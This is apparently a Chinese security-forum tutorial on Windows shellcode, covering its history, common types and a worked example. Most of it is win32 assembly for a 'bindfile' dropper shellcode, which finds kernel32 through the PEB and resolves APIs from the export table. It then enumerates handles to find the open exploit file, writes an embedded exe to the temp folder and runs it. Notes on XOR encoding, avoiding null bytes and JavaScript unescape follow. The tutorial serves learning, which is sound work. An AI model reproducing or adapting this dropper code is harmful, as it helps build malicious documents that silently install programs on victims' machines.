windows下的shellcode剖析浅谈

今天是中秋节，正好我的文章在今天基本完成，作为中秋礼物送给大家，由于本人水平有限希望大家多多批评指正！
学习了好些日子了，思路总是乱乱的，这几天决定养成个好习惯，把自己学习的一些东西做一些总结写篇文章，以便归纳和总结，并从中能够更深刻更系统化的理解其技术原理。今天，就从shellcode来下手吧！
说到shellcode可能都有些迷茫，不知它是什么东西，可能觉得也很神秘，对于它的专业解释也很少有人提及，今天我们就从以下几个方面来对windows下的shellcode做一个全剖析:
1.shellcode的发展历史以及定义
2.现今常见的windows下的shellcode种类
3.动手编写一个简单的shellcode
4.shellcode的存在形式以及编码方式
5.exploit中的shellcode
好了，下面我们就逐一来弄清楚这些问题吧！
1.shellcode的发展历史以及定义：
对于shellcode的发展历史，failewest兄的《0day安全：软件漏洞分析技术》一书中讲的很明白，这里就引用一小段：
“1996年，AlephOne在Underground发表了著名论文《SMASHINGTHESTACKFORFUNANDPROFIT》，其中详细描述了Linux系统中栈的结构和如何利用基于栈的缓冲区溢出。在这篇具有划时代意义的论文中，AlephOne演示了如何向进程中植入一段用于获得shell的代码，并在论文中称这段被植入进程的代码为’shellcode’。

后来人们干脆统一用shellcode这个专用术语来通称缓冲区溢出攻击中植入进程的代码。这段代码可以是出于恶作剧目的的弹出一个消息框，也可以是出于攻击目的的删改重要文件、窃取数据、上传木马病毒并运行，甚至是出于破坏目的的格式化硬盘等等。”

其实，现在shellcode的应用也很广泛，甚至有些远程控制软件也把自己能做成一个shellcode形式，我们只要理解这个是溢出之后干坏事的一段代码。（文章中提及的shellcode也全是跟溢出相关的shellcode）
2.现今常见的windows下的shellcode种类
这里，我就直接从功能上来分类：
（1）反弹端口类(shell)
这是一个真正的原始意义上的shellcode，不得不讲
（2）下载并执行类（download&exec）
这个是最简单的一类shellcode，在网马中的应用也最广泛
（3）生成并运行可执行文件类（bindfile）
为什么会有这么一类shellcode呢？试想想，制造漏洞的坏人如果把前面两类shellcode绑定到一个应用软件exploit里面就会出现一些意外情况：
a)假如你的反弹行为被防火墙给拦截了怎么办？
b)假如对方的防范意识比较高打开doc、pdf之类的文件的时候总是把网断了再打开怎么办？
哎~，早有坏人替我们想到了这些问题，他们把自己的exe也一并绑定到exploit中，shellcode的功能就是把exe释放出来，然后运行。（这个方法有点邪恶吧）
3.动手编写一个简单的shellcode
好了，前面说了这么多废话，说一会也该练练了。
这里为了方便讲解，我就选择用win32汇编来写吧。（当然我对c更熟悉些）前面两类shellcode的例子很多，这里我就着重介绍下bindfile类shellcode的编写。
首先，让我们来理理思路，看图：

这个图是按shellcode的执行流程来画的，下面逐一来讲解。
其实shellcode就是一段自主的而且功能完善的代码，不过里面不能直接调用API函数，因为它不是运行在编译器环境下，没有include来声明函数，更没有应用程序的函数表，所以，shellcode得自己想办法找到自己调用的API函数的地址，然后强行调用了。
（1）查找kernel32.dll基址：
shellcode里面用的API函数一般都是与用户界面无关的，因为它要干坏事，一般都是偷偷的，所以它一般用的都是kernel32.dll里面的函数。所以，我们必须先找到kernel32的基址才能进一步找到各API的地址具体地址。
关于获取api基址的方法很多，我这里就讲最简单的一种（这里面集合了众多高手的实践经验）：
利用PEB查找kernel32基址：

代码:

assumefs:nothing
moveax,fs:[30h]
testeax,eax
jsos_9x
os_nt:
moveax,[eax+0ch]
movesi,[eax+1ch]
lodsd
moveax,[eax+8]
jmpk_finished
os_9x:
moveax,[eax+34h]
moveax,[eax+7ch]
moveax,[eax+3ch]
k_finished:
subesp,200
movedi,esp
mov[edi+8],eax;获取kernel32地址

可能上面这段代码大家看的不是很明白，现在画个示意图来看看：

至于为什么这里放的就是kernel32的基址呢，这需要感谢那些经验丰富的大牛了，ms本来就是这么设计的，但是要找到这么通用的方法可不简单。同时，代码里面也对9x系统进行了判断，相信大家可以通过上面的图看明白是什么意思。
其实，还由几种思路非常清晰的动态查找方法，大家可以自己去找找相关的文章看看。我喜欢偷懒~
（2）查找API函数地址
通过上面找到了kernel32的基址，但是我们如何得到具体的api函数地址呢？这里就需要涉及到pe文件格式了。这里我只讲解如何从dll文件中找出其函数引出表中的函数地址的方法：（班门弄斧了，见笑~）
a.在kernel32基址+0x3c处获取e_lfanewc地址，即可以得到PE头
b.在PE头偏移的0x78处得到函数引出表地址
c.在引出表的0x1c偏移处获取AddressOfFunctions、AddressOfNames、AddressOfNameOrdinalse
d.AddressOfFunctions和AddressOfNames是函数地址和函数名通过AddressOfNameOrdinalse一一对应的两个数组
e.是这样计算的：
搜索AddressOfNames，确定“GetProcAddress”所对应的index；
index=AddressOfNameOrdinalse[index];
函数地址=AddressOfFunctions[index];
代码：

代码:

FindApi:;获取API函数地址子过程
pushebp
pushedi
movebp,edi
movebx,esp
addebx,8
xoredx,edx
moveax,[ebp+8]
addeax,3ch;指向PE头部偏移值e_lfanew
moveax,[eax];取得e_lfanew值
addeax,[ebp+8];指向PEheader
cmpdwordptr[eax],4550h;判断是否为'PE'
jneNotFound;kernel32基址错误
mov[ebp+0ch],eax;保存PE文件头
moveax,[eax+78h]
addeax,[ebp+8]
mov[ebp+0ch],eax;指向IMAGE_EXPORT_DIRECTORY
moveax,[eax+20h]
addeax,[ebp+8]
mov[ebp+4],eax;保存函数名指针数组的指针值
movecx,[ebp+0ch]
movecx,[ecx+14h]
FindLoop:

pushecx
moveax,[eax]
addeax,[ebp+8]
movesi,ebx
addesi,8
movedi,eax
movecx,[ebx+4]
cld
repecmpsb
jneFindNext
addesp,4
moveax,[ebp+0ch]
moveax,[eax+1ch]
addeax,[ebp+8]
shledx,2
addeax,edx
moveax,[eax]
addeax,[ebp+8]
jmpFound
FindNext:
incedx
adddwordptr[ebp+4],4
moveax,[ebp+4]
popecx
loopFindLoop
NotFound:
xoreax,eax
Found:
popedi
popebp
ret

（3）定位exe文件数据
API地址也找到了，现在剩下的就是实现功能，首先，想到的就是找到exe的数据在哪，然后我们把它ReadFile提出来然后CreateFile再WriteFile不就完了。但是，我们又面临以下两个问题：
如何找到exe数据呢？
这个问题很好回答，exe的数据就在我们的exploit文件中，接下来就有些难度了；
如何定位exploit文件呢？
我们可以考虑两种做法：
一是知道exploit文件的路径，那样就可以用CreateFile来打开它，从而获取数据，不过这种做法还面临一个困难，如何得到exploit文件的路径，当然，办法还是有的；
第二种方法就是找到exploit的文件句柄，这里先讨论一个逻辑关系，就是我们为什么可以利用这种方法，原因很简单，你的exploit其实已经打开了，只是你自己不知道它的句柄而已，这样，只要我们能群举出句柄，那么就可以直接通过句柄来读exploit里面的exe文件数据了。
上面两种方法的优缺点显而易见，第二种方法通用性更强，第一种方法虽然可以用更加巧妙的方式来实现，但是难度相对较高，而且不容易理解，所以我就以第二种方法为例来介绍,即群举句柄法:

代码:

movdwordptr[edi+68h],1000h;设置exe文件长度exelen
xoresi,esi
sHandle:
incesi
push0
pushesi
calldwordptr[edi+10h]
cmpeax,1536;exploit文件大小
jnesHandle
mov[edi+3ch],eax
mov[edi+40h],esi;根据文件大小群举有效句柄

这里还要办的一件事就是，在ReadFile和Writefile的时候需要申请一个空间来存放exe文件数据，这就由GlobalAlloc和GlobalFree来负责解决这个问题了，这里就不需要详细解释了。

代码:

push[edi+3ch]
push40
calldwordptr[edi+20h]
mov[edi+60h],eax;申请内存空间存储读取出来的exe文件数据

movesi,esp
addesi,100h
pushesi
push50h
calldwordptr[edi+18h]
movebx,esi
mov[edi+44h],esi
addebx,eax
addebx,8
moveax,esp
movesp,ebx
push'e'
push'xe.a'
subesp,8
movesp,eax;获取临时文件夹路径，并追加exe文件名

push0
push2
push2
push0
push3
push40000000h
movebx,[edi+44h]
pushebx
calldwordptr[edi+1ch];根据exe文件路径创建exe文件
mov[edi+48h],eax


push2
push0
push200
pushdwordptr[edi+40h]
calldwordptr[edi+14h];设置文件指针

push0
leaebx,dwordptr[edi+64h]
pushebx
pushdwordptr[edi+68h]
pushdwordptr[edi+60h]
pushdwordptr[edi+40h]
calldwordptr[edi+28h];读取指定长度

push0
leaebx,dwordptr[edi+64h]
pushebx
pushdwordptr[edi+68h]
pushdwordptr[edi+60h]
pushdwordptr[edi+48h]
calldwordptr[edi+2ch];将读取的exe文件数据写入exe文件中

（4）生成并运行exe
这个就比较简单了，直接看代码：

代码:

movebx,[edi+40h]
calldwordptr[edi+30h];大功告成CloseHandle

movebx,[edi+48h]
pushebx
calldwordptr[edi+34h];最终目标,运行exe文件

（5）打扫战场，闪人
当然首先是要把前面申请的内存空间释放掉,然后用个exitprocess来结束这一切吧，一是留点善心，二是省事：

代码:

pushdwordptr[edi+60h]
calldwordptr[edi+24h];清理战场GlobalFree
push0
calldwordptr[edi+38h];exitprocess退出进程,以免进程卡死或报错

4.shellcode的自动提取
上面写的shellcode是用汇编写的，我们不至于把它直接拷到exploit里面去执行吧，cpu认的是机器码，所以你控制了eip之后当然得把它指到cpu能识别的指令上去吧。所以，我们得把汇编转换成机器码，网上公开的方法很多，我这里介绍一种比较简便的方法吧：既然你是用汇编写的那么你的代码在.code段的内存中应该就直接是机器码了，只需要在开始和结尾打个标记，然后把它直接从那里导出来就完了。
看代码：

代码:

.386
.modelflat,stdcall
optioncasemap:none

includeuser32.inc
includekernel32.inc
includelibkernel32.lib
includelibuser32.lib

.data

sc_outdb'sc_out.txt',0
exelendd1000h

.data?

sc_startdd?
sc_enddd?
sc_lendd?
out_handledd?
out_buffdd?
dwsizedd?

.code

start:

jmpscEnd;

scStart:
……
scEnd:
movsc_start,scStart
movsc_end,scEnd
movebx,sc_end
subebx,sc_start
movsc_len,ebx

invokeCreateFile,offsetsc_out,40000000h,3,0,2,2,0
movout_handle,eax

leaebx,scStart
movout_buff,ebx
invokeWriteFile,out_handle,out_buff,sc_len,addrdwsize,0

invokeCloseHandle,out_handle
endstart

5.exploit中的shellcode
在exploit中，有时候由于隐蔽性、str的0x00断开限制、JavaScript等脚本中不同的字符串格式要求下，可能shellcode会需要以不同的形式来放到exploit中。下面逐一来说明：
（1）隐蔽性
这个一般就是对shellcode进行简单的编码，比如异或等方式
（2）Str的0x00断开限制
有时候shellcode是作为一个问题函数的参数被传入的，这个时候就必须考虑传入shellcode的完整性了，因为在字符串中往往0x00会将字符串断开，所以必须向办法在shellcode中避免0x00的出现
（3）JavaScript中的unescape
在JavaScript中所有的变量基本都是以字符串的形式或者unescape的形式存在的，没有byte这种概念，因此对于一些诸如0x00，0x01等等这些非字符串是无法表示的，最好还是用它的unescape来存在，那么就必须把的shellcode转换成它的格式来放在exploit中了，这种多见于JavaScript溢出利用中。

不知不觉写了这么多，由于本人的知识水平和表达能力有限，所以其中不免有错误之处，希望大家能够批评指正！